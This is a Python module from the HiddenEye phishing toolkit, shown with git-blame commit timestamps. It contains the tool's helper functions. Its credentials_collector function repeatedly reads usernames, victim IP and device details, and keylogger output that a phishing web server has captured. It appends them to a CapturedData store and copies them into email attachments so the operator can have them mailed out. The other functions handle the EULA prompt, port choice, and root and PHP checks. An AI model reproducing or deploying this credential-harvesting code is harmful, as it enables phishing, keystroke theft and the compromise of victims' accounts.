2020-05-11 17:12:06 +08:00
|
|
|
#
|
|
|
|
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
|
|
|
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
|
|
|
# This is free software, and you are welcome to redistribute it
|
|
|
|
# under certain conditions; you can read LICENSE for details.
|
|
|
|
#
|
|
|
|
|
2020-06-09 07:24:46 +08:00
|
|
|
from Defs.ImportManager.unsorted_will_be_replaced import requests, getuid, platform, run_command, try_to_run_command, wait, chmod, stat, pathlib_Path, copyfile, socket, regular_expression
|
2020-05-06 23:00:28 +08:00
|
|
|
import Defs.ThemeManager.theme as theme
|
|
|
|
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
2020-06-01 16:17:37 +08:00
|
|
|
import Defs.ActionManager.Server.server_runner as server_runner
|
2020-05-11 16:55:19 +08:00
|
|
|
import Defs.LocalizationManager.lang_action_manager.lang_simple_informant as localization
|
|
|
|
import Defs.LocalizationManager.lang_global_usage as global_localization
|
2020-05-06 20:53:52 +08:00
|
|
|
|
2020-05-06 23:00:28 +08:00
|
|
|
default_palette = theme.default_palette
|
2020-05-06 20:53:52 +08:00
|
|
|
|
2020-05-15 04:44:13 +08:00
|
|
|
|
2020-05-11 18:09:41 +08:00
|
|
|
def license_handler():
|
2020-06-09 12:28:31 +08:00
|
|
|
""" Checks if eula.txt exists, creates one if it doesn't. Checks if "eula = True" is inside.
|
|
|
|
|
|
|
|
Returns:
|
|
|
|
boolean: Returns True if "eula = True" is inside eula.txt, False by default.
|
|
|
|
"""
|
2020-05-11 18:09:41 +08:00
|
|
|
eula = pathlib_Path("eula.txt")
|
|
|
|
|
|
|
|
if eula.exists():
|
|
|
|
eula = eula.open('r')
|
|
|
|
with open('eula.txt', 'r') as f:
|
|
|
|
if 'eula = True' in f.read():
|
|
|
|
print('Found your license agreement, proceeding...')
|
|
|
|
return True
|
|
|
|
else:
|
|
|
|
print('Please read and accept license.')
|
|
|
|
return False
|
|
|
|
else:
|
|
|
|
eula.touch(mode=0o777, exist_ok=True)
|
|
|
|
eula = open('eula.txt', 'w')
|
2020-05-11 18:32:46 +08:00
|
|
|
eula.write(localization.write_eula + "eula = False")
|
2020-05-11 18:09:41 +08:00
|
|
|
eula.close()
|
|
|
|
print('Please accept EULA.')
|
|
|
|
return False
|
|
|
|
|
|
|
|
|
2020-05-11 16:55:43 +08:00
|
|
|
def exit_message(port = 80): # Message when HiddenEye exit
|
2020-06-09 12:28:41 +08:00
|
|
|
"""Displays preconfigured message when HiddenEye execution ends or user tries to leave app.
|
|
|
|
|
|
|
|
Args:
|
|
|
|
port (int, optional): Will be used as port value if custom one isn't provided. Needed in case user decides to restart app again. Defaults to 80.
|
|
|
|
|
|
|
|
Returns:
|
|
|
|
method: If no option is selected, exit message returns to self and gets shown again.
|
|
|
|
"""
|
2020-05-11 16:55:43 +08:00
|
|
|
choice = input(localization.lang_exit_message["choice"])
|
|
|
|
choice.lower()
|
|
|
|
if choice == 'r':
|
|
|
|
run_command(['sudo', 'python3', 'HiddenEye.py'])
|
2020-05-15 04:44:13 +08:00
|
|
|
elif choice == 'm':
|
2020-05-06 23:00:28 +08:00
|
|
|
email_prompt.captured_data_email_confirmation(port)
|
2020-05-15 04:44:13 +08:00
|
|
|
elif choice == 's':
|
2020-06-01 16:17:37 +08:00
|
|
|
server_runner.server_selection(port)
|
2020-05-11 16:55:19 +08:00
|
|
|
elif choice == 'x':
|
2020-05-06 19:25:28 +08:00
|
|
|
run_command('clear')
|
2020-05-11 16:55:19 +08:00
|
|
|
print(global_localization.hidden_eye_logo)
|
|
|
|
print(' ' + global_localization.by_darksec)
|
|
|
|
print(' ' + global_localization.official_website_link)
|
|
|
|
print(localization.lang_exit_message["help_to_improve_this_tool"])
|
|
|
|
print(localization.lang_exit_message["tell_if_page_got_broken"])
|
|
|
|
print(localization.lang_exit_message["make_your_pull_request_or_issue"])
|
|
|
|
print(localization.lang_exit_message["small_disclaimer_suggestion"])
|
|
|
|
print(localization.lang_exit_message["forum_suggestion"])
|
|
|
|
print(localization.lang_exit_message["financial_support"])
|
|
|
|
print(localization.lang_exit_message["thank_you"])
|
2020-05-06 19:25:28 +08:00
|
|
|
else:
|
|
|
|
run_command('clear')
|
2020-05-06 20:19:24 +08:00
|
|
|
return exit_message(port)
|
|
|
|
|
2020-06-09 07:25:27 +08:00
|
|
|
def terms_of_service_message():
|
2020-06-09 12:28:53 +08:00
|
|
|
"""Requests user to provide agreement to license provided.
|
|
|
|
|
|
|
|
Returns:
|
|
|
|
boolean: Always returns True, if user doesn't accept agreement - proceeds to exit()
|
|
|
|
"""
|
2020-05-11 18:09:41 +08:00
|
|
|
agreement = license_handler()
|
2020-05-15 04:44:13 +08:00
|
|
|
if not agreement:
|
2020-05-11 18:09:41 +08:00
|
|
|
print(localization.lang_terms_of_service_message["GPL_3.0"])
|
2020-05-11 18:32:46 +08:00
|
|
|
print(localization.lang_terms_of_service_message["great_power_great_responsibility"])
|
|
|
|
print(localization.lang_terms_of_service_message["do_you_accept_license"])
|
|
|
|
print(localization.lang_terms_of_service_message["enter_this_to_confirm"])
|
2020-05-11 18:09:41 +08:00
|
|
|
agreement = input(global_localization.input_line)
|
2020-05-11 18:32:46 +08:00
|
|
|
if localization.text_to_confirm_license not in agreement:
|
|
|
|
print(localization.lang_terms_of_service_message["you_are_not_allowed"])
|
2020-05-11 18:09:41 +08:00
|
|
|
exit()
|
|
|
|
else:
|
|
|
|
eula = open('eula.txt', 'w')
|
2020-05-11 18:32:46 +08:00
|
|
|
eula.write(localization.write_eula +"eula = True")
|
2020-05-11 18:09:41 +08:00
|
|
|
eula.close()
|
|
|
|
return True
|
|
|
|
else:
|
|
|
|
return True
|
|
|
|
|
2020-06-11 17:57:16 +08:00
|
|
|
def module_loading_message(option_name): # This one just show text..
|
2020-06-09 12:39:37 +08:00
|
|
|
"""Prints "Select any mode" message. """
|
2020-06-11 17:57:16 +08:00
|
|
|
print(option_name + localization.lang_module_loading_message["is_loaded"])
|
2020-05-11 19:11:35 +08:00
|
|
|
print(localization.lang_module_loading_message["select_any_mode"])
|
2020-05-06 20:53:52 +08:00
|
|
|
|
|
|
|
|
2020-06-09 13:02:36 +08:00
|
|
|
def credentials_collector():
|
|
|
|
"""Collects, writes and returns credentials and additional info gathered from target."""
|
2020-05-11 19:11:20 +08:00
|
|
|
print(localization.lang_credentials_collector["waiting_for_interaction"])
|
2020-05-06 20:19:24 +08:00
|
|
|
while True:
|
|
|
|
with open('Server/www/usernames.txt') as creds:
|
|
|
|
lines = creds.read().rstrip()
|
|
|
|
if len(lines) != 0:
|
2020-05-13 23:43:02 +08:00
|
|
|
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
2020-05-08 19:38:29 +08:00
|
|
|
pathlib_Path("Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True)
|
|
|
|
|
|
|
|
captured_usernames = open('Server/CapturedData/usernames.txt', 'a')
|
|
|
|
new_usernames = open('Server/www/usernames.txt')
|
|
|
|
captured_usernames.write(new_usernames.read())
|
|
|
|
new_usernames.close()
|
|
|
|
captured_usernames.close()
|
|
|
|
copyfile('Server/CapturedData/usernames.txt', 'Defs/FeatureManager/EmailManager/attachments/usernames.txt')
|
2020-05-06 20:19:24 +08:00
|
|
|
|
2020-05-08 19:38:29 +08:00
|
|
|
new_usernames = open('Server/www/usernames.txt', 'w')
|
|
|
|
new_usernames.write('')
|
|
|
|
new_usernames.close()
|
2020-05-06 20:19:24 +08:00
|
|
|
|
|
|
|
with open('Server/www/ip.txt') as creds:
|
|
|
|
lines = creds.read().rstrip()
|
|
|
|
if len(lines) != 0:
|
2020-05-13 23:43:02 +08:00
|
|
|
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
2020-05-08 19:38:44 +08:00
|
|
|
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True)
|
|
|
|
captured_ips = open('Server/CapturedData/ip.txt', 'a')
|
|
|
|
new_ips = open('Server/www/ip.txt')
|
|
|
|
captured_ips.write(new_ips.read())
|
|
|
|
new_ips.close()
|
|
|
|
captured_ips.close()
|
|
|
|
copyfile('Server/CapturedData/ip.txt', 'Defs/FeatureManager/EmailManager/attachments/ip.txt')
|
|
|
|
new_ips = open('Server/www/ip.txt', 'w')
|
|
|
|
new_ips.write('')
|
|
|
|
new_ips.close()
|
|
|
|
|
2020-05-06 20:19:24 +08:00
|
|
|
|
|
|
|
creds.close()
|
|
|
|
|
|
|
|
with open('Server/www/KeyloggerData.txt') as creds:
|
|
|
|
lines = creds.read().rstrip()
|
|
|
|
if len(lines) != 0:
|
2020-05-11 19:11:20 +08:00
|
|
|
log_writer(global_localization.line_of_dots)
|
2020-05-13 23:43:02 +08:00
|
|
|
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
2020-05-08 23:43:45 +08:00
|
|
|
pathlib_Path('Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True)
|
|
|
|
captured_keys = open('Server/CapturedData/KeyloggerData.txt', 'a')
|
|
|
|
new_keys = open('Server/www/KeyloggerData.txt')
|
|
|
|
captured_keys.write(new_keys.read())
|
|
|
|
new_keys.close()
|
|
|
|
captured_keys.close()
|
|
|
|
copyfile('Server/CapturedData/KeyloggerData.txt', 'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt')
|
|
|
|
new_keys = open('Server/www/KeyloggerData.txt', 'w')
|
|
|
|
new_keys.write('')
|
|
|
|
new_keys.close()
|
|
|
|
|
2020-05-11 19:11:20 +08:00
|
|
|
log_writer(global_localization.line_of_dots)
|
2020-05-06 20:19:24 +08:00
|
|
|
|
|
|
|
creds.close()
|
|
|
|
|
|
|
|
def log_writer(ctx): # Writing log
|
2020-06-09 13:03:08 +08:00
|
|
|
"""I have no idea what it does, someone does, so if you are reading this - explain wtf is this method...
|
|
|
|
|
|
|
|
Args:
|
|
|
|
ctx ([type]): [description]
|
|
|
|
"""
|
2020-05-06 20:19:24 +08:00
|
|
|
logFile = open("log.txt", "w")
|
|
|
|
logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n")
|
|
|
|
print(ctx)
|
2020-05-06 20:53:52 +08:00
|
|
|
|
2020-06-09 07:25:27 +08:00
|
|
|
def port_selector(): # Requests port input from user
|
2020-06-09 13:03:25 +08:00
|
|
|
"""Asks user to input number between 1 and 65535.
|
|
|
|
|
|
|
|
Returns:
|
|
|
|
string: Returns any number entered if it's between 1 and 65535, if it's not - asks for number again.
|
|
|
|
"""
|
2020-05-06 20:53:52 +08:00
|
|
|
run_command('clear')
|
2020-05-11 19:11:50 +08:00
|
|
|
print(global_localization.hidden_eye_logo)
|
|
|
|
print(global_localization.official_website_link)
|
|
|
|
print(global_localization.by_darksec)
|
|
|
|
print(global_localization.line_of_dots)
|
|
|
|
print(localization.lang_port_selector["website_port_selection"])
|
|
|
|
print(localization.lang_port_selector["select_any_available_port"])
|
|
|
|
print(localization.lang_port_selector["port_suggestion"])
|
|
|
|
choice = input(global_localization.input_line)
|
2020-05-06 20:53:52 +08:00
|
|
|
try:
|
2020-05-15 04:44:13 +08:00
|
|
|
if int(choice) > 65535 or int(choice) < 1:
|
2020-06-09 07:25:27 +08:00
|
|
|
return port_selector()
|
2020-05-06 20:53:52 +08:00
|
|
|
else:
|
|
|
|
return choice
|
|
|
|
except:
|
|
|
|
return port_selector()
|
2020-05-07 16:21:37 +08:00
|
|
|
|
|
|
|
def remove_readonly(func, path, _):
|
2020-06-09 22:28:13 +08:00
|
|
|
"""Removes read-only state of file (IDK why it exists but it does already, so...)
|
2020-06-09 13:03:57 +08:00
|
|
|
|
|
|
|
Args:
|
|
|
|
func ([type]): [description]
|
|
|
|
path ([type]): [description]
|
|
|
|
_ ([type]): [description]
|
|
|
|
"""
|
2020-05-07 16:21:37 +08:00
|
|
|
chmod(path, stat.S_IWRITE)
|
2020-05-08 02:02:51 +08:00
|
|
|
func(path)
|
2020-05-08 21:43:03 +08:00
|
|
|
|
|
|
|
|
2020-05-12 21:16:45 +08:00
|
|
|
def global_message():
|
2020-06-09 22:28:13 +08:00
|
|
|
"""Sends default HiddenEye header message. (Logo, website link, etc.)"""
|
2020-05-12 21:16:45 +08:00
|
|
|
print(global_localization.hidden_eye_logo)
|
|
|
|
print(global_localization.official_website_link)
|
|
|
|
print(global_localization.by_darksec)
|
2020-05-13 23:43:58 +08:00
|
|
|
print(global_localization.line_of_dots)
|
|
|
|
|
|
|
|
|
|
|
|
def verify_connection(host='https://dark-sec-official.com'): # Connection check
|
|
|
|
run_command('clear')
|
|
|
|
try:
|
|
|
|
req = requests.get(host, timeout=25)
|
|
|
|
if req.status_code == 200:
|
|
|
|
print(localization.lang_verify_connection["connected"])
|
|
|
|
pass
|
|
|
|
except:
|
|
|
|
print(localization.lang_verify_connection["disconnected"])
|
|
|
|
print(global_localization.hidden_eye_logo)
|
|
|
|
print(localization.lang_verify_connection["verify_your_connection"])
|
|
|
|
exit()
|
|
|
|
|
|
|
|
def check_permissions():
|
|
|
|
|
2020-06-09 07:27:20 +08:00
|
|
|
# if platform_os() != "Windows":
|
|
|
|
# if getuid() == 0:
|
|
|
|
# print(localization.lang_check_permissions["permissions_granted"])
|
|
|
|
# else:
|
|
|
|
# print(localization.lang_check_permissions["permissions_denied"])
|
|
|
|
# exit()
|
|
|
|
# else:
|
|
|
|
# print(localization.lang_check_permissions["windows_warning"])
|
|
|
|
# exit()
|
|
|
|
## Everything above will be replaced ##
|
|
|
|
|
|
|
|
if check_platform("system") == "Linux":
|
2020-05-13 23:43:58 +08:00
|
|
|
if getuid() == 0:
|
|
|
|
print(localization.lang_check_permissions["permissions_granted"])
|
|
|
|
else:
|
|
|
|
print(localization.lang_check_permissions["permissions_denied"])
|
|
|
|
exit()
|
|
|
|
|
|
|
|
def check_php():
|
|
|
|
try:
|
|
|
|
try_to_run_command(['php', '-v'])
|
|
|
|
print(localization.lang_check_php["found"])
|
|
|
|
except:
|
|
|
|
print(localization.lang_check_php["not-found"])
|
|
|
|
exit()
|
2020-06-09 07:27:54 +08:00
|
|
|
|
|
|
|
def check_platform(required_data):
|
2020-06-09 07:28:40 +08:00
|
|
|
"""Checks system for specific platform related data and returns requested value.
|
|
|
|
|
|
|
|
Args:
|
|
|
|
required_data (string): accepts "system" or "architecture"
|
|
|
|
Returns:
|
|
|
|
string: data requested by required_data, Returns all if required_data isn't specified.
|
|
|
|
"""
|
2020-06-09 07:27:54 +08:00
|
|
|
system = platform.system()
|
|
|
|
architecture = platform.machine()
|
|
|
|
if required_data == "system":
|
|
|
|
return system
|
|
|
|
elif required_data == "architecture":
|
|
|
|
return architecture
|
|
|
|
else:
|
|
|
|
return "System: {0}, Architecture: {1}".format(system, architecture)
|